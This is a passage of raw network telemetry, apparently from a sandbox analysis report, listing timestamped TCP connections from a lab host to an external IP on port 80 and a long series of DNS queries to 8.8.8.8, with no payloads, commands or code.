Dec 2, 2020 11:54:29.229926109 CET	80	49983	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.229969978 CET	80	49983	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.230189085 CET	49983	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.230808973 CET	49983	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.283245087 CET	80	49983	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.420109034 CET	49984	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.472805977 CET	80	49984	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.473010063 CET	49984	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.481369019 CET	49984	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.534259081 CET	80	49984	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.534396887 CET	49984	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.588143110 CET	80	49984	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.611299992 CET	80	49984	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.611365080 CET	80	49984	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.611449957 CET	49984	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.611766100 CET	49984	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.665082932 CET	80	49984	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.826132059 CET	49985	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.879309893 CET	80	49985	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.879426956 CET	49985	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.882165909 CET	49985	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.940963030 CET	80	49985	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:29.941138983 CET	49985	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:29.994456053 CET	80	49985	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.031088114 CET	80	49985	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.031250954 CET	80	49985	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.031282902 CET	49985	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.031341076 CET	49985	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.086510897 CET	80	49985	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.210366964 CET	49986	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.263504982 CET	80	49986	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.263658047 CET	49986	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.266581059 CET	49986	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.319427967 CET	80	49986	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.319520950 CET	49986	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.372725010 CET	80	49986	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.405565977 CET	80	49986	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.405625105 CET	80	49986	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.405689001 CET	49986	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.405726910 CET	49986	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.458914995 CET	80	49986	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.631987095 CET	49987	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.684592962 CET	80	49987	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.684743881 CET	49987	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.691282034 CET	49987	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.743650913 CET	80	49987	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.743802071 CET	49987	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.796070099 CET	80	49987	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.819380999 CET	80	49987	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.819416046 CET	80	49987	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:30.819607973 CET	49987	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.819854021 CET	49987	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:30.872123957 CET	80	49987	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.014425993 CET	49988	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.066649914 CET	80	49988	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.066839933 CET	49988	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.074450016 CET	49988	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.137404919 CET	80	49988	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.137681007 CET	49988	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.190843105 CET	80	49988	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.217477083 CET	80	49988	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.217520952 CET	80	49988	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.217650890 CET	49988	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.217713118 CET	49988	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.270041943 CET	80	49988	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.469057083 CET	49989	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.521732092 CET	80	49989	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.521941900 CET	49989	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.527811050 CET	49989	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.580271006 CET	80	49989	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.580452919 CET	49989	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.633058071 CET	80	49989	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.656363010 CET	80	49989	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.656569958 CET	49989	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.660242081 CET	80	49989	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.660590887 CET	49989	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.709132910 CET	80	49989	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.912344933 CET	49990	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.964144945 CET	80	49990	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:31.964286089 CET	49990	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:31.972079992 CET	49990	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.023731947 CET	80	49990	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.023840904 CET	49990	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.076621056 CET	80	49990	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.100903034 CET	80	49990	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.100934029 CET	80	49990	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.101026058 CET	49990	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.101170063 CET	49990	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.152640104 CET	80	49990	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.370079041 CET	49991	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.422111034 CET	80	49991	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.422338009 CET	49991	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.430896997 CET	49991	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.483027935 CET	80	49991	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.483166933 CET	49991	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.537128925 CET	80	49991	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.565126896 CET	80	49991	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.565166950 CET	80	49991	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.565375090 CET	49991	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.565404892 CET	49991	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.617245913 CET	80	49991	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.828113079 CET	49992	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.882344961 CET	80	49992	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.882460117 CET	49992	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.886878967 CET	49992	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.939182043 CET	80	49992	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:32.939291000 CET	49992	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:32.991450071 CET	80	49992	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.011949062 CET	80	49992	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.012001038 CET	80	49992	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.012119055 CET	49992	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.012162924 CET	49992	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.064338923 CET	80	49992	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.264466047 CET	49993	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.317218065 CET	80	49993	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.317337990 CET	49993	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.320496082 CET	49993	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.373455048 CET	80	49993	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.374996901 CET	49993	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.427756071 CET	80	49993	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.450376034 CET	80	49993	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.450431108 CET	80	49993	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.450563908 CET	49993	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.450640917 CET	49993	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.509260893 CET	80	49993	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.698182106 CET	49994	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.750164032 CET	80	49994	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.750371933 CET	49994	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.753309965 CET	49994	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.805006981 CET	80	49994	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.805074930 CET	49994	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.858300924 CET	80	49994	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.881656885 CET	80	49994	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.881697893 CET	80	49994	45.144.3.234	192.168.2.6
Dec 2, 2020 11:54:33.881815910 CET	49994	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.881918907 CET	49994	80	192.168.2.6	45.144.3.234
Dec 2, 2020 11:54:33.933936119 CET	80	49994	45.144.3.234	192.168.2.6

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 2, 2020 11:52:27.169116020 CET	49448	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:27.196607113 CET	53	49448	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:27.898998022 CET	60342	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:27.926183939 CET	53	60342	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:28.603327990 CET	61346	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:28.630386114 CET	53	61346	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:41.218013048 CET	51774	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:41.355474949 CET	53	51774	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:41.767638922 CET	56023	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:41.803246975 CET	53	56023	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:42.105349064 CET	58384	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:42.132451057 CET	53	58384	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:42.570950985 CET	60261	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:42.606357098 CET	53	60261	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:43.039609909 CET	56061	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:43.162781000 CET	53	56061	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:43.673294067 CET	58336	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:43.713635921 CET	53	58336	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:44.272181034 CET	53781	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:44.310158968 CET	53	53781	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:44.558691025 CET	54064	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:44.585738897 CET	53	54064	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:44.716902018 CET	52811	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:44.752568007 CET	53	52811	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:45.576247931 CET	55299	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:45.611747026 CET	53	55299	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:46.081265926 CET	63745	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:46.116872072 CET	53	63745	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:47.086719990 CET	50055	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:47.122234106 CET	53	50055	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:47.525657892 CET	61374	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:47.561136961 CET	53	61374	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:47.956501961 CET	50339	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:47.991945982 CET	53	50339	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:48.383275032 CET	63307	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:48.418570042 CET	53	63307	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:48.786987066 CET	49694	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:48.822575092 CET	53	49694	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:49.203802109 CET	54982	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:49.230813026 CET	53	54982	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:49.659370899 CET	50010	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:49.694818020 CET	53	50010	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:50.093799114 CET	63718	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:50.129313946 CET	53	63718	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:50.534687996 CET	62116	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:50.570329905 CET	53	62116	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:50.974617958 CET	63816	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:51.013034105 CET	53	63816	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:51.391402960 CET	55014	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:51.431253910 CET	53	55014	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:51.891607046 CET	62208	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:51.927218914 CET	53	62208	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:52.391201973 CET	57574	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:52.426688910 CET	53	57574	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:52.787806034 CET	51818	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:52.823009968 CET	53	51818	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:52.922101974 CET	56628	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:52.949182034 CET	53	56628	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:53.241023064 CET	60778	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:53.268198013 CET	53	60778	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:53.685561895 CET	53799	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:53.721225977 CET	53	53799	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:54.084891081 CET	54683	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:54.120260954 CET	53	54683	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:54.560220957 CET	59329	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:54.600783110 CET	53	59329	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:55.011075020 CET	64021	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:55.046402931 CET	53	64021	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:55.415225983 CET	56129	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:55.442281961 CET	53	56129	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:55.873862982 CET	58177	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:55.909446955 CET	53	58177	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:56.396317005 CET	50700	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:56.431663990 CET	53	50700	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:56.770127058 CET	54069	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:56.798049927 CET	53	54069	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:57.169342041 CET	61178	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:57.196469069 CET	53	61178	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:57.657506943 CET	57017	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:57.684812069 CET	53	57017	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:58.035134077 CET	56327	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:58.062277079 CET	53	56327	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:58.479775906 CET	50243	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:58.515727043 CET	53	50243	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:58.879780054 CET	62055	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:58.907005072 CET	53	62055	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:59.275832891 CET	61249	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:59.302881002 CET	53	61249	8.8.8.8	192.168.2.6
Dec 2, 2020 11:52:59.678181887 CET	65252	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:52:59.713706970 CET	53	65252	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:00.166532040 CET	64367	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:00.193737030 CET	53	64367	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:00.558366060 CET	55066	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:00.585374117 CET	53	55066	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:00.962841988 CET	60211	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:00.989985943 CET	53	60211	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:01.440953970 CET	56570	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:01.478122950 CET	53	56570	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:01.910465002 CET	58454	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:01.946038008 CET	53	58454	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:02.286391020 CET	55180	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:02.313791037 CET	53	55180	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:02.878704071 CET	58721	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:02.905879974 CET	53	58721	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:03.308295965 CET	57691	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:03.335556984 CET	53	57691	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:04.113468885 CET	52943	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:04.140631914 CET	53	52943	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:05.247956038 CET	59489	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:05.283634901 CET	53	59489	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:05.641532898 CET	64022	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:05.682204008 CET	53	64022	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:06.013871908 CET	60023	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:06.049491882 CET	53	60023	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:06.460585117 CET	57193	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:06.496139050 CET	53	57193	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:06.890744925 CET	50248	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:06.926450968 CET	53	50248	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:07.282875061 CET	64413	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:07.309964895 CET	53	64413	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:07.757424116 CET	60429	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:07.784583092 CET	53	60429	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:08.224451065 CET	60345	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:09.288620949 CET	60345	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:10.121442080 CET	53	60345	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:10.472949982 CET	58730	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:10.508510113 CET	53	58730	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:10.939058065 CET	53830	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:10.966033936 CET	53	53830	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:11.357434034 CET	57226	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:11.392880917 CET	53	57226	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:11.856349945 CET	57880	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:11.883450985 CET	53	57880	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:11.992330074 CET	60850	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:12.032121897 CET	53	60850	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:12.288547993 CET	53187	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:12.324453115 CET	53	53187	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:12.675846100 CET	55830	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:12.711486101 CET	53	55830	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:12.740447044 CET	55145	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:12.767549038 CET	53	55145	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:13.154231071 CET	64091	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:13.194992065 CET	53	64091	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:13.244995117 CET	55728	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:13.280430079 CET	53	55728	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:13.602885008 CET	55694	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:13.630021095 CET	53	55694	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:13.651527882 CET	53926	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:13.664628983 CET	65531	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:13.682809114 CET	65437	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:13.703391075 CET	53	53926	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:13.705343008 CET	53	65531	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:13.718343019 CET	53	65437	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:14.028386116 CET	54590	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:14.055421114 CET	53	54590	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:14.091432095 CET	51318	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:14.127091885 CET	53	51318	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:14.418385029 CET	60888	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:14.445549011 CET	53	60888	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:14.534579992 CET	58474	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:14.570110083 CET	53	58474	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:14.831980944 CET	64575	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:14.859060049 CET	53	64575	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:15.003618956 CET	59092	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:15.039313078 CET	53	59092	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:15.284384966 CET	57483	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:15.320094109 CET	53	57483	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:15.406582117 CET	53830	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:15.446218014 CET	53	53830	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:15.667623997 CET	49809	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:15.678807020 CET	52814	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:15.703068018 CET	53	49809	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:15.714591026 CET	53	52814	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:16.030819893 CET	51069	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:16.066318989 CET	53	51069	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:16.391937971 CET	56526	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:16.411999941 CET	50512	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:16.427628994 CET	53	56526	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:16.439069986 CET	53	50512	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:16.780730963 CET	51679	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:16.807925940 CET	53	51679	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:16.841665030 CET	56071	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:16.876996994 CET	53	56071	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:17.151694059 CET	58950	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:17.187235117 CET	53	58950	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:17.223705053 CET	57035	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:17.250780106 CET	53	57035	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:17.514981985 CET	54122	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:17.555629969 CET	53	54122	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:17.903167009 CET	56759	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:17.956578970 CET	59220	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:17.992027998 CET	53	59220	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:18.336477995 CET	62211	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:18.363548040 CET	53	62211	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:18.710259914 CET	62033	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:18.737206936 CET	53	62033	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:18.912590981 CET	56759	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:18.939637899 CET	53	56759	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:19.234713078 CET	61244	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:19.261743069 CET	53	61244	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:19.627461910 CET	53696	53	192.168.2.6	8.8.8.8
Dec 2, 2020 11:53:19.654512882 CET	53	53696	8.8.8.8	192.168.2.6
Dec 2, 2020 11:53:19.864814997 CET	50733	53	192.168.2.6	8.8.8.8
